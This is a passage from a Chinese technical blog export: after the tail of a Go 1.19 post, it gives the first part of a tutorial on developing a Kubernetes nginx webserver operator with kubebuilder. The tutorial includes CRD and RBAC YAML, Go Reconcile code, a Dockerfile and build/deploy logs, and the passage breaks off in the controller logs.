CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2022/08/22/some-changes-in-go-1-19/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/some-changes-in-go-1-19-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2022/08/22/some-changes-in-go-1-19\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2022/08/22/some-changes-in-go-1-19\"\u003ehttps://tonybai.com/2022/08/22/some-changes-in-go-1-19\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e我们知道Go团队在2015年重新规定了团队发布版本的节奏，将Go大版本的发布频率确定为每年两次，发布窗口定为每年的2月与8月。而实现自举的\u003ca href=\"https://tonybai.com/2015/07/10/some-changes-in-go-1-5/\"\u003eGo 1.5版本\u003c/a\u003e是这一个节奏下发布的第一个版本。一般来说，Go团队都会在这两个窗口的中间位置发布版本，不过这几年也有意外，比如承载着泛型落地责任的\u003ca href=\"https://tonybai.com/2022/04/20/some-changes-in-go-1-18\"\u003eGo 1.18版本\u003c/a\u003e就延迟了一个月发布。\u003c/p\u003e","title":"Go 1.19中值得关注的几个变化"},{"content":"\n本文永久链接 – https://tonybai.com/2022/08/15/developing-kubernetes-operators-in-go-part1\n注：文章首图基于《Kubernetes Operators Explained》修改\n几年前，我还称Kubernetes为服务编排和容器调度领域的事实标准，如今K8s已经是这个领域的“霸主”，地位无可撼动。不过，虽然Kubernetes发展演化到今天已经变得非常复杂，但是Kubernetes最初的数据模型、应用模式与扩展方式却依然有效。并且像Operator这样的应用模式和扩展方式日益受到开发者与运维者的欢迎。\n我们的平台内部存在有状态(stateful)的后端服务，对有状态的服务的部署和运维是k8s operator的拿手好戏，是时候来研究一下operator了。\n一. Operator的优点 kubernetes operator的概念最初来自CoreOS – 一家被红帽(redhat)收购的容器技术公司。\nCoreOS在引入Operator概念的同时，也给出了Operator的第一批参考实现：etcd operator和prometheus operator。\n注：etcd于2013年由CoreOS以开源形式发布；prometheus作为首款面向云原生服务的时序数据存储与监控系统，由SoundCloud公司于2012年以开源的形式发布。\n下面是CoreOS对Operator这一概念的诠释：Operator在软件中代表了人类的运维操作知识，通过它可以可靠地管理一个应用程序。\n图：CoreOS对operator的诠释(截图来自CoreOS官方博客归档)\nOperator出现的初衷就是用来解放运维人员的，如今Operator也越来越受到云原生运维开发人员的青睐。\n那么operator好处究竟在哪里呢？下面示意图对使用Operator和不使用Operator进行了对比：\n通过这张图，即便对operator不甚了解，你也能大致感受到operator的优点吧。\n我们看到在使用operator的情况下，对有状态应用的伸缩操作(这里以伸缩操作为例，也可以是其他诸如版本升级等对于有状态应用来说的“复杂”操作)，运维人员仅需一个简单的命令即可，运维人员也无需知道k8s内部对有状态应用的伸缩操作的原理是什么。\n在没有使用operator的情况下，运维人员需要对有状态应用的伸缩的操作步骤有深刻的认知，并按顺序逐个执行一个命令序列中的命令并检查命令响应，遇到失败的情况时还需要进行重试，直到伸缩成功。\n我们看到operator就好比一个内置于k8s中的经验丰富运维人员，时刻监控目标对象的状态，把复杂性留给自己，给运维人员一个简洁的交互接口，同时operator也能降低运维人员因个人原因导致的操作失误的概率。\n不过，operator虽好，但开发门槛却不低。开发门槛至少体现在如下几个方面：\n对operator概念的理解是基于对k8s的理解的基础之上的，而k8s自从2014年开源以来，变的日益复杂，理解起来需要一定时间投入； 从头手撸operator很verbose，几乎无人这么做，大多数开发者都会去学习相应的开发框架与工具，比如：kubebuilder、operator framework sdk等； operator的能力也有高低之分，operator framework就提出了一个包含五个等级的operator能力模型(CAPABILITY MODEL)，见下图。使用Go开发高能力等级的operator需要对client-go这个kubernetes官方go client库中的API有深入的了解。 图：operator能力模型(截图来自operator framework官网)\n当然在这些门槛当中，对operator概念的理解既是基础也是前提，而理解operator的前提又是对kubernetes的诸多概念要有深入理解，尤其是resource、resource type、API、controller以及它们之间的关系。接下来我们就来快速介绍一下这些概念。\n二. Kubernetes resource、resource type、API和controller介绍 Kubernetes发展到今天，其本质已经显现：\nKubernetes就是一个“数据库”(数据实际持久存储在etcd中)； 其API就是“sql语句”； API设计采用基于resource的Restful风格, resource type是API的端点(endpoint)； 每一类resource(即Resource Type)是一张“表”，Resource Type的spec对应“表结构”信息(schema)； 每张“表”里的一行记录就是一个resource，即该表对应的Resource Type的一个实例(instance)； Kubernetes这个“数据库”内置了很多“表”，比如Pod、Deployment、DaemonSet、ReplicaSet等； 下面是一个Kubernetes API与resource关系的示意图：\n我们看到resource type有两类，一类的namespace相关的(namespace-scoped)，我们通过下面形式的API操作这类resource type的实例：\nVERB /apis/GROUP/VERSION/namespaces/NAMESPACE/RESOURCETYPE - 操作某特定namespace下面的resouce type中的resource实例集合 VERB /apis/GROUP/VERSION/namespaces/NAMESPACE/RESOURCETYPE/NAME - 操作某特定namespace下面的resource type中的某个具体的resource实例 另外一类则是namespace无关，即cluster范围(cluster-scoped)的，我们通过下面形式的API对这类resource type的实例进行操作：\nVERB /apis/GROUP/VERSION/RESOURCETYPE - 操作resouce type中的resource实例集合 VERB /apis/GROUP/VERSION/RESOURCETYPE/NAME - 操作resource type中的某个具体的resource实例 我们知道Kubernetes并非真的只是一个“数据库”，它是服务编排和容器调度的平台标准，它的基本调度单元是Pod(也是一个resource type)，即一组容器的集合。那么Pod又是如何被创建、更新和删除的呢？这就离不开控制器(controller)了。每一类resource type都有自己对应的控制器(controller)。以pod这个resource type为例，它的controller为ReplicasSet的实例。\n控制器的运行逻辑如下图所示：\n图：控制器运行逻辑(引自《Kubernetes Operators Explained》一文)\n控制器一旦启动，将尝试获得resource的当前状态(current state)，并与存储在k8s中的resource的期望状态（desired state，即spec)做比对，如果不一致，controller就会调用相应API进行调整，尽力使得current state与期望状态达成一致。这个达成一致的过程被称为协调(reconciliation)，协调过程的伪代码逻辑如下：\nfor { desired := getDesiredState() current := getCurrentState() makeChanges(desired, current) } 注：k8s中有一个object的概念？那么object是什么呢？它类似于Java Object基类或Ruby中的Object超类。不仅resource type的实例resource是一个(is-a)object，resource type本身也是一个object，它是kubernetes concept的实例。\n有了上面对k8s这些概念的初步理解，我们下面就来理解一下Operator究竟是什么！\n三. Operator模式 = 操作对象(CRD) + 控制逻辑(controller) 如果让运维人员直面这些内置的resource type(如deployment、pod等)，也就是前面“使用operator vs. 不使用operator”对比图中的第二种情况, 运维人员面临的情况将会很复杂，且操作易错。\n那么如果不直面内置的resource type，那么我们如何自定义resource type呢, Kubernetes提供了Custom Resource Definition，CRD(在coreos刚提出operator概念的时候，crd的前身是Third Party Resource, TPR)可以用于自定义resource type。\n根据前面我们对resource type理解，定义CRD相当于建立新“表”(resource type)，一旦CRD建立，k8s会为我们自动生成对应CRD的API endpoint，我们就可以通过yaml或API来操作这个“表”。我们可以向“表”中“插入”数据，即基于CRD创建Custom Resource(CR)，这就好比我们创建Deployment实例，向Deployment“表”中插入数据一样。\n和原生内置的resource type一样，光有存储对象状态的CR还不够，原生resource type有对应controller负责协调(reconciliation)实例的创建、伸缩与删除，CR也需要这样的“协调者”，即我们也需要定义一个controller来负责监听CR状态并管理CR创建、伸缩、删除以及保持期望状态(spec)与当前状态(current state)的一致。这个controller不再是面向原生Resource type的实例，而是面向CRD的实例CR的controller。\n有了自定义的操作对象类型(CRD)，有了面向操作对象类型实例的controller，我们将其打包为一个概念：“Operator模式”，operator模式中的controller也被称为operator，它是在集群中对CR进行维护操作的主体。\n四. 使用kubebuilder开发webserver operator 假设：此时你的本地开发环境已经具备访问实验用k8s环境的一切配置，通过kubectl工具可以任意操作k8s。\n再深入浅出的概念讲解都不如一次实战对理解概念更有帮助，下面我们就来开发一个简单的Operator。\n前面提过operator开发非常verbose，因此社区提供了开发工具和框架来帮助开发人员简化开发过程，目前主流的包括operator framework sdk和kubebuilder，前者是redhat开源并维护的一套工具，支持使用go、ansible、helm进行operator开发(其中只有go可以开发到能力级别5的operator，其他两种则不行)；而kubebuilder则是kubernetes官方的一个sig(特别兴趣小组)维护的operator开发工具。目前基于operator framework sdk和go进行operator开发时，operator sdk底层使用的也是kubebuilder，所以这里我们就直接使用kubebuilder来开发operator。\n按照operator能力模型，我们这个operator差不多处于2级这个层次，我们定义一个Webserver的resource type，它代表的是一个基于nginx的webserver集群，我们的operator支持创建webserver示例(一个nginx集群)，支持nginx集群伸缩，支持集群中nginx的版本升级。\n下面我们就用kubebuilder来实现这个operator！\n1. 安装kubebuilder 这里我们采用源码构建方式安装，步骤如下：\n$git clone git@github.com:kubernetes-sigs/kubebuilder.git $cd kubebuilder $make $cd bin $./kubebuilder version Version: main.version{KubeBuilderVersion:\u0026quot;v3.5.0-101-g5c949c2e\u0026quot;, KubernetesVendor:\u0026quot;unknown\u0026quot;, GitCommit:\u0026quot;5c949c2e50ca8eec80d64878b88e1b2ee30bf0bc\u0026quot;, BuildDate:\u0026quot;2022-08-06T09:12:50Z\u0026quot;, GoOs:\u0026quot;linux\u0026quot;, GoArch:\u0026quot;amd64\u0026quot;} 然后将bin/kubebuilder拷贝到你的PATH环境变量中的某个路径下即可。\n2. 创建webserver-operator工程 接下来，我们就可以使用kubebuilder创建webserver-operator工程了：\n$mkdir webserver-operator $cd webserver-operator $kubebuilder init --repo github.com/bigwhite/webserver-operator --project-name webserver-operator Writing kustomize manifests for you to edit... Writing scaffold for you to edit... Get controller runtime: $ go get sigs.k8s.io/controller-runtime@v0.12.2 go: downloading k8s.io/client-go v0.24.2 go: downloading k8s.io/component-base v0.24.2 Update dependencies: $ go mod tidy Next: define a resource with: kubebuilder create api 注：–repo指定go.mod中的module root path，你可以定义你自己的module root path。\n3. 创建API，生成初始CRD Operator包括CRD和controller，这里我们就来建立自己的CRD，即自定义的resource type，也就是API的endpoint，我们使用下面kubebuilder create命令来完成这个步骤：\n$kubebuilder create api --version v1 --kind WebServer Create Resource [y/n] y Create Controller [y/n] y Writing kustomize manifests for you to edit... Writing scaffold for you to edit... api/v1/webserver_types.go controllers/webserver_controller.go Update dependencies: $ go mod tidy Running make: $ make generate mkdir -p /home/tonybai/test/go/operator/kubebuilder/webserver-operator/bin test -s /home/tonybai/test/go/operator/kubebuilder/webserver-operator/bin/controller-gen || GOBIN=/home/tonybai/test/go/operator/kubebuilder/webserver-operator/bin go install sigs.k8s.io/controller-tools/cmd/controller-gen@v0.9.2 /home/tonybai/test/go/operator/kubebuilder/webserver-operator/bin/controller-gen object:headerFile=\u0026quot;hack/boilerplate.go.txt\u0026quot; paths=\u0026quot;./...\u0026quot; Next: implement your new API and generate the manifests (e.g. CRDs,CRs) with: $ make manifests 之后，我们执行make manifests来生成最终CRD对应的yaml文件：\n$make manifests /home/tonybai/test/go/operator/kubebuilder/webserver-operator/bin/controller-gen rbac:roleName=manager-role crd webhook paths=\u0026quot;./...\u0026quot; output:crd:artifacts:config=config/crd/bases 此刻，整个工程的目录文件布局如下：\n$tree -F . . ├── api/ │ └── v1/ │ ├── groupversion_info.go │ ├── webserver_types.go │ └── zz_generated.deepcopy.go ├── bin/ │ └── controller-gen* ├── config/ │ ├── crd/ │ │ ├── bases/ │ │ │ └── my.domain_webservers.yaml │ │ ├── kustomization.yaml │ │ ├── kustomizeconfig.yaml │ │ └── patches/ │ │ ├── cainjection_in_webservers.yaml │ │ └── webhook_in_webservers.yaml │ ├── default/ │ │ ├── kustomization.yaml │ │ ├── manager_auth_proxy_patch.yaml │ │ └── manager_config_patch.yaml │ ├── manager/ │ │ ├── controller_manager_config.yaml │ │ ├── kustomization.yaml │ │ └── manager.yaml │ ├── prometheus/ │ │ ├── kustomization.yaml │ │ └── monitor.yaml │ ├── rbac/ │ │ ├── auth_proxy_client_clusterrole.yaml │ │ ├── auth_proxy_role_binding.yaml │ │ ├── auth_proxy_role.yaml │ │ ├── auth_proxy_service.yaml │ │ ├── kustomization.yaml │ │ ├── leader_election_role_binding.yaml │ │ ├── leader_election_role.yaml │ │ ├── role_binding.yaml │ │ ├── role.yaml │ │ ├── service_account.yaml │ │ ├── webserver_editor_role.yaml │ │ └── webserver_viewer_role.yaml │ └── samples/ │ └── _v1_webserver.yaml ├── controllers/ │ ├── suite_test.go │ └── webserver_controller.go ├── Dockerfile ├── go.mod ├── go.sum ├── hack/ │ └── boilerplate.go.txt ├── main.go ├── Makefile ├── PROJECT └── README.md 14 directories, 40 files 4. webserver-operator的基本结构 忽略我们此次不关心的诸如leader election、auth_proxy等，我将这个operator例子的主要部分整理到下面这张图中：\n图中的各个部分就是使用kubebuilder生成的operator的基本结构。\nwebserver operator主要由CRD和controller组成：\nCRD 图中的左下角的框框就是上面生成的CRD yaml文件：config/crd/bases/my.domain_webservers.yaml。CRD与api/v1/webserver_types.go密切相关。我们在api/v1/webserver_types.go中为CRD定义spec相关字段，之后make manifests命令可以解析webserver_types.go中的变化并更新CRD的yaml文件。\ncontroller 从图的右侧部分可以看出，controller自身就是作为一个deployment部署在k8s集群中运行的，它监视CRD的实例CR的运行状态，并在Reconcile方法中检查预期状态与当前状态是否一致，如果不一致，则执行相关操作。\n其它 图中左上角是有关controller的权限的设置，controller通过serviceaccount访问k8s API server，通过role.yaml和role_binding.yaml设置controller的角色和权限。\n5. 为CRD spec添加字段(field) 为了实现Webserver operator的功能目标，我们需要为CRD spec添加一些状态字段。前面说过，CRD与api中的webserver_types.go文件是同步的，我们只需修改webserver_types.go文件即可。我们在WebServerSpec结构体中增加Replicas和Image两个字段，它们分别用于表示webserver实例的副本数量以及使用的容器镜像：\n// api/v1/webserver_types.go // WebServerSpec defines the desired state of WebServer type WebServerSpec struct { // INSERT ADDITIONAL SPEC FIELDS - desired state of cluster // Important: Run \u0026quot;make\u0026quot; to regenerate code after modifying this file // The number of replicas that the webserver should have Replicas int `json:\u0026quot;replicas,omitempty\u0026quot;` // The container image of the webserver Image string `json:\u0026quot;image,omitempty\u0026quot;` // Foo is an example field of WebServer. Edit webserver_types.go to remove/update Foo string `json:\u0026quot;foo,omitempty\u0026quot;` } 保存修改后，执行make manifests重新生成config/crd/bases/my.domain_webservers.yaml\n$cat my.domain_webservers.yaml --- apiVersion: apiextensions.k8s.io/v1 kind: CustomResourceDefinition metadata: annotations: controller-gen.kubebuilder.io/version: v0.9.2 creationTimestamp: null name: webservers.my.domain spec: group: my.domain names: kind: WebServer listKind: WebServerList plural: webservers singular: webserver scope: Namespaced versions: - name: v1 schema: openAPIV3Schema: description: WebServer is the Schema for the webservers API properties: apiVersion: description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' type: string kind: description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' type: string metadata: type: object spec: description: WebServerSpec defines the desired state of WebServer properties: foo: description: Foo is an example field of WebServer. Edit webserver_types.go to remove/update type: string image: description: The container image of the webserver type: string replicas: description: The number of replicas that the webserver should have type: integer type: object status: description: WebServerStatus defines the observed state of WebServer type: object type: object served: true storage: true subresources: status: {} 一旦定义完CRD，我们就可以将其安装到k8s中：\n$make install /home/tonybai/test/go/operator/kubebuilder/webserver-operator/bin/controller-gen rbac:roleName=manager-role crd webhook paths=\u0026quot;./...\u0026quot; output:crd:artifacts:config=config/crd/bases test -s /home/tonybai/test/go/operator/kubebuilder/webserver-operator/bin/kustomize || { curl -s \u0026quot;https://raw.githubusercontent.com/kubernetes-sigs/kustomize/master/hack/install_kustomize.sh\u0026quot; | bash -s -- 3.8.7 /home/tonybai/test/go/operator/kubebuilder/webserver-operator/bin; } {Version:kustomize/v3.8.7 GitCommit:ad092cc7a91c07fdf63a2e4b7f13fa588a39af4f BuildDate:2020-11-11T23:14:14Z GoOs:linux GoArch:amd64} kustomize installed to /home/tonybai/test/go/operator/kubebuilder/webserver-operator/bin/kustomize /home/tonybai/test/go/operator/kubebuilder/webserver-operator/bin/kustomize build config/crd | kubectl apply -f - customresourcedefinition.apiextensions.k8s.io/webservers.my.domain created 检查安装情况：\n$kubectl get crd|grep webservers webservers.my.domain 2022-08-06T21:55:45Z 6. 修改role.yaml 在开始controller开发之前，我们先来为controller后续的运行“铺平道路”，即设置好相应权限。\n我们在controller中会为CRD实例创建对应deployment和service，这样就要求controller有操作deployments和services的权限，这样就需要我们修改role.yaml，增加service account: controller-manager 操作deployments和services的权限：\n// config/rbac/role.yaml --- apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: creationTimestamp: null name: manager-role rules: - apiGroups: - my.domain resources: - webservers verbs: - create - delete - get - list - patch - update - watch - apiGroups: - my.domain resources: - webservers/finalizers verbs: - update - apiGroups: - my.domain resources: - webservers/status verbs: - get - patch - update - apiGroups: - apps resources: - deployments verbs: - create - delete - get - list - patch - update - watch - apiGroups: - apps - \u0026quot;\u0026quot; resources: - services verbs: - create - delete - get - list - patch - update - watch 修改后的role.yaml先放在这里，后续与controller一并部署到k8s上。\n7. 实现controller的Reconcile(协调)逻辑 kubebuilder为我们搭好了controller的代码架子，我们只需要在controllers/webserver_controller.go中实现WebServerReconciler的Reconcile方法即可。下面是Reconcile的一个简易流程图，结合这幅图理解代码就容易的多了：\n下面是对应的Reconcile方法的代码：\n// controllers/webserver_controller.go func (r *WebServerReconciler) Reconcile(ctx context.Context, req ctrl.Request) (ctrl.Result, error) { log := r.Log.WithValues(\u0026quot;Webserver\u0026quot;, req.NamespacedName) instance := \u0026amp;mydomainv1.WebServer{} err := r.Get(ctx, req.NamespacedName, instance) if err != nil { if errors.IsNotFound(err) { // Request object not found, could have been deleted after reconcile request. // Return and don't requeue log.Info(\u0026quot;Webserver resource not found. Ignoring since object must be deleted\u0026quot;) return ctrl.Result{}, nil } // Error reading the object - requeue the request. log.Error(err, \u0026quot;Failed to get Webserver\u0026quot;) return ctrl.Result{RequeueAfter: time.Second * 5}, err } // Check if the webserver deployment already exists, if not, create a new one found := \u0026amp;appsv1.Deployment{} err = r.Get(ctx, types.NamespacedName{Name: instance.Name, Namespace: instance.Namespace}, found) if err != nil \u0026amp;\u0026amp; errors.IsNotFound(err) { // Define a new deployment dep := r.deploymentForWebserver(instance) log.Info(\u0026quot;Creating a new Deployment\u0026quot;, \u0026quot;Deployment.Namespace\u0026quot;, dep.Namespace, \u0026quot;Deployment.Name\u0026quot;, dep.Name) err = r.Create(ctx, dep) if err != nil { log.Error(err, \u0026quot;Failed to create new Deployment\u0026quot;, \u0026quot;Deployment.Namespace\u0026quot;, dep.Namespace, \u0026quot;Deployment.Name\u0026quot;, dep.Name) return ctrl.Result{RequeueAfter: time.Second * 5}, err } // Deployment created successfully - return and requeue return ctrl.Result{Requeue: true}, nil } else if err != nil { log.Error(err, \u0026quot;Failed to get Deployment\u0026quot;) return ctrl.Result{RequeueAfter: time.Second * 5}, err } // Ensure the deployment replicas and image are the same as the spec var replicas int32 = int32(instance.Spec.Replicas) image := instance.Spec.Image var needUpd bool if *found.Spec.Replicas != replicas { log.Info(\u0026quot;Deployment spec.replicas change\u0026quot;, \u0026quot;from\u0026quot;, *found.Spec.Replicas, \u0026quot;to\u0026quot;, replicas) found.Spec.Replicas = \u0026amp;replicas needUpd = true } if (*found).Spec.Template.Spec.Containers[0].Image != image { log.Info(\u0026quot;Deployment spec.template.spec.container[0].image change\u0026quot;, \u0026quot;from\u0026quot;, (*found).Spec.Template.Spec.Containers[0].Image, \u0026quot;to\u0026quot;, image) found.Spec.Template.Spec.Containers[0].Image = image needUpd = true } if needUpd { err = r.Update(ctx, found) if err != nil { log.Error(err, \u0026quot;Failed to update Deployment\u0026quot;, \u0026quot;Deployment.Namespace\u0026quot;, found.Namespace, \u0026quot;Deployment.Name\u0026quot;, found.Name) return ctrl.Result{RequeueAfter: time.Second * 5}, err } // Spec updated - return and requeue return ctrl.Result{Requeue: true}, nil } // Check if the webserver service already exists, if not, create a new one foundService := \u0026amp;corev1.Service{} err = r.Get(ctx, types.NamespacedName{Name: instance.Name + \u0026quot;-service\u0026quot;, Namespace: instance.Namespace}, foundService) if err != nil \u0026amp;\u0026amp; errors.IsNotFound(err) { // Define a new service srv := r.serviceForWebserver(instance) log.Info(\u0026quot;Creating a new Service\u0026quot;, \u0026quot;Service.Namespace\u0026quot;, srv.Namespace, \u0026quot;Service.Name\u0026quot;, srv.Name) err = r.Create(ctx, srv) if err != nil { log.Error(err, \u0026quot;Failed to create new Servie\u0026quot;, \u0026quot;Service.Namespace\u0026quot;, srv.Namespace, \u0026quot;Service.Name\u0026quot;, srv.Name) return ctrl.Result{RequeueAfter: time.Second * 5}, err } // Service created successfully - return and requeue return ctrl.Result{Requeue: true}, nil } else if err != nil { log.Error(err, \u0026quot;Failed to get Service\u0026quot;) return ctrl.Result{RequeueAfter: time.Second * 5}, err } // Tbd: Ensure the service state is the same as the spec, your homework // reconcile webserver operator in again 10 seconds return ctrl.Result{RequeueAfter: time.Second * 10}, nil } 这里大家可能发现了：原来CRD的controller最终还是将CR翻译为k8s原生Resource，比如service、deployment等。CR的状态变化(比如这里的replicas、image等)最终都转换成了deployment等原生resource的update操作，这就是operator的精髓！理解到这一层，operator对大家来说就不再是什么密不可及的概念了。\n有些朋友可能也会发现，上面流程图中似乎没有考虑CR实例被删除时对deployment、service的操作，的确如此。不过对于一个7×24小时运行于后台的服务来说，我们更多关注的是其变更、伸缩、升级等操作，删除是优先级最低的需求。\n8. 构建controller image controller代码写完后，我们就来构建controller的image。通过前文我们知道，这个controller其实就是运行在k8s中的一个deployment下的pod。我们需要构建其image并通过deployment部署到k8s中。\nkubebuilder创建的operator工程中包含了Makefile，通过make docker-build即可构建controller image。docker-build使用golang builder image来构建controller源码，不过如果不对Dockerfile稍作修改，你很难编译过去，因为默认GOPROXY在国内无法访问。这里最简单的改造方式是使用vendor构建，下面是改造后的Dockerfile：\n# Build the manager binary FROM golang:1.18 as builder ENV GOPROXY https://goproxy.cn WORKDIR /workspace # Copy the Go Modules manifests COPY go.mod go.mod COPY go.sum go.sum COPY vendor/ vendor/ # cache deps before building and copying source so that we don't need to re-download as much # and so that source changes don't invalidate our downloaded layer #RUN go mod download # Copy the go source COPY main.go main.go COPY api/ api/ COPY controllers/ controllers/ # Build RUN CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -mod=vendor -a -o manager main.go # Use distroless as minimal base image to package the manager binary # Refer to https://github.com/GoogleContainerTools/distroless for more details #FROM gcr.io/distroless/static:nonroot FROM katanomi/distroless-static:nonroot WORKDIR / COPY --from=builder /workspace/manager . USER 65532:65532 ENTRYPOINT [\u0026quot;/manager\u0026quot;] 下面是构建的步骤：\n$go mod vendor $make docker-build test -s /home/tonybai/test/go/operator/kubebuilder/webserver-operator/bin/controller-gen || GOBIN=/home/tonybai/test/go/operator/kubebuilder/webserver-operator/bin go install sigs.k8s.io/controller-tools/cmd/controller-gen@v0.9.2 /home/tonybai/test/go/operator/kubebuilder/webserver-operator/bin/controller-gen rbac:roleName=manager-role crd webhook paths=\u0026quot;./...\u0026quot; output:crd:artifacts:config=config/crd/bases /home/tonybai/test/go/operator/kubebuilder/webserver-operator/bin/controller-gen object:headerFile=\u0026quot;hack/boilerplate.go.txt\u0026quot; paths=\u0026quot;./...\u0026quot; go fmt ./... go vet ./... KUBEBUILDER_ASSETS=\u0026quot;/home/tonybai/.local/share/kubebuilder-envtest/k8s/1.24.2-linux-amd64\u0026quot; go test ./... -coverprofile cover.out ? github.com/bigwhite/webserver-operator [no test files] ? github.com/bigwhite/webserver-operator/api/v1 [no test files] ok github.com/bigwhite/webserver-operator/controllers 4.530s coverage: 0.0% of statements docker build -t bigwhite/webserver-controller:latest . Sending build context to Docker daemon 47.51MB Step 1/15 : FROM golang:1.18 as builder ---\u0026gt; 2d952adaec1e Step 2/15 : ENV GOPROXY https://goproxy.cn ---\u0026gt; Using cache ---\u0026gt; db2b06a078e3 Step 3/15 : WORKDIR /workspace ---\u0026gt; Using cache ---\u0026gt; cc3c613c19c6 Step 4/15 : COPY go.mod go.mod ---\u0026gt; Using cache ---\u0026gt; 5fa5c0d89350 Step 5/15 : COPY go.sum go.sum ---\u0026gt; Using cache ---\u0026gt; 71669cd0fe8e Step 6/15 : COPY vendor/ vendor/ ---\u0026gt; Using cache ---\u0026gt; 502b280a0e67 Step 7/15 : COPY main.go main.go ---\u0026gt; Using cache ---\u0026gt; 0c59a69091bb Step 8/15 : COPY api/ api/ ---\u0026gt; Using cache ---\u0026gt; 2b81131c681f Step 9/15 : COPY controllers/ controllers/ ---\u0026gt; Using cache ---\u0026gt; e3fd48c88ccb Step 10/15 : RUN CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -mod=vendor -a -o manager main.go ---\u0026gt; Using cache ---\u0026gt; 548ac10321a2 Step 11/15 : FROM katanomi/distroless-static:nonroot ---\u0026gt; 421f180b71d8 Step 12/15 : WORKDIR / ---\u0026gt; Running in ea7cb03027c0 Removing intermediate container ea7cb03027c0 ---\u0026gt; 9d3c0ea19c3b Step 13/15 : COPY --from=builder /workspace/manager . ---\u0026gt; a4387fe33ab7 Step 14/15 : USER 65532:65532 ---\u0026gt; Running in 739a32d251b6 Removing intermediate container 739a32d251b6 ---\u0026gt; 52ae8742f9c5 Step 15/15 : ENTRYPOINT [\u0026quot;/manager\u0026quot;] ---\u0026gt; Running in 897893b0c9df Removing intermediate container 897893b0c9df ---\u0026gt; e375cc2adb08 Successfully built e375cc2adb08 Successfully tagged bigwhite/webserver-controller:latest 注：执行make命令之前，先将Makefile中的IMG变量初值改为IMG ?= bigwhite/webserver-controller:latest\n构建成功后，执行make docker-push将image推送到镜像仓库中(这里使用了docker公司提供的公共仓库)。\n9. 部署controller 之前我们已经通过make install将CRD安装到k8s中了，接下来再把controller部署到k8s上，我们的operator就算部署完毕了。执行make deploy即可实现部署：\n$make deploy test -s /home/tonybai/test/go/operator/kubebuilder/webserver-operator/bin/controller-gen || GOBIN=/home/tonybai/test/go/operator/kubebuilder/webserver-operator/bin go install sigs.k8s.io/controller-tools/cmd/controller-gen@v0.9.2 /home/tonybai/test/go/operator/kubebuilder/webserver-operator/bin/controller-gen rbac:roleName=manager-role crd webhook paths=\u0026quot;./...\u0026quot; output:crd:artifacts:config=config/crd/bases test -s /home/tonybai/test/go/operator/kubebuilder/webserver-operator/bin/kustomize || { curl -s \u0026quot;https://raw.githubusercontent.com/kubernetes-sigs/kustomize/master/hack/install_kustomize.sh\u0026quot; | bash -s -- 3.8.7 /home/tonybai/test/go/operator/kubebuilder/webserver-operator/bin; } cd config/manager \u0026amp;\u0026amp; /home/tonybai/test/go/operator/kubebuilder/webserver-operator/bin/kustomize edit set image controller=bigwhite/webserver-controller:latest /home/tonybai/test/go/operator/kubebuilder/webserver-operator/bin/kustomize build config/default | kubectl apply -f - namespace/webserver-operator-system created customresourcedefinition.apiextensions.k8s.io/webservers.my.domain unchanged serviceaccount/webserver-operator-controller-manager created role.rbac.authorization.k8s.io/webserver-operator-leader-election-role created clusterrole.rbac.authorization.k8s.io/webserver-operator-manager-role created clusterrole.rbac.authorization.k8s.io/webserver-operator-metrics-reader created clusterrole.rbac.authorization.k8s.io/webserver-operator-proxy-role created rolebinding.rbac.authorization.k8s.io/webserver-operator-leader-election-rolebinding created clusterrolebinding.rbac.authorization.k8s.io/webserver-operator-manager-rolebinding created clusterrolebinding.rbac.authorization.k8s.io/webserver-operator-proxy-rolebinding created configmap/webserver-operator-manager-config created service/webserver-operator-controller-manager-metrics-service created deployment.apps/webserver-operator-controller-manager created 我们看到deploy不仅会安装controller、serviceaccount、role、rolebinding，它还会创建namespace，也会将crd安装一遍。也就是说deploy是一个完整的operator安装命令。\n注：使用make undeploy可以完整卸载operator相关resource。\n我们用kubectl logs查看一下controller的运行日志：\n$kubectl logs -f deployment.apps/webserver-operator-controller-manager -n webserver-operator-system 1.6600280818476188e+09 INFO controller-runtime.metrics Metrics server is starting to listen {\u0026quot;addr\u0026quot;: \u0026quot;127.0.0.1:8080\u0026quot;} 1.6600280818478029e+09 INFO setup starting manager 1.6600280818480284e+09 INFO Starting server {\u0026quot;path\u0026quot;: \u0026quot;/metrics\u0026quot;, \u0026quot;kind\u0026quot;: \u0026quot;metrics\u0026quot;, \u0026quot;addr\u0026quot;: \u0026quot;127.0.0.1:8080\u0026quot;} 1.660028081848097e+09 INFO Starting server {\u0026quot;kind\u0026quot;: \u0026quot;health probe\u0026quot;, \u0026quot;addr\u0026quot;: \u0026quot;[::]:8081\u0026quot;} I0809 06:54:41.848093 1 leaderelection.go:248] attempting to acquire leader lease webserver-operator-system/63e5a746.my.domain... I0809 06:54:57.072336 1 leaderelection.go:258] successfully acquired lease webserver-operator-system/63e5a746.my.domain 1.6600280970724037e+09 DEBUG events Normal {\u0026quot;object\u0026quot;: 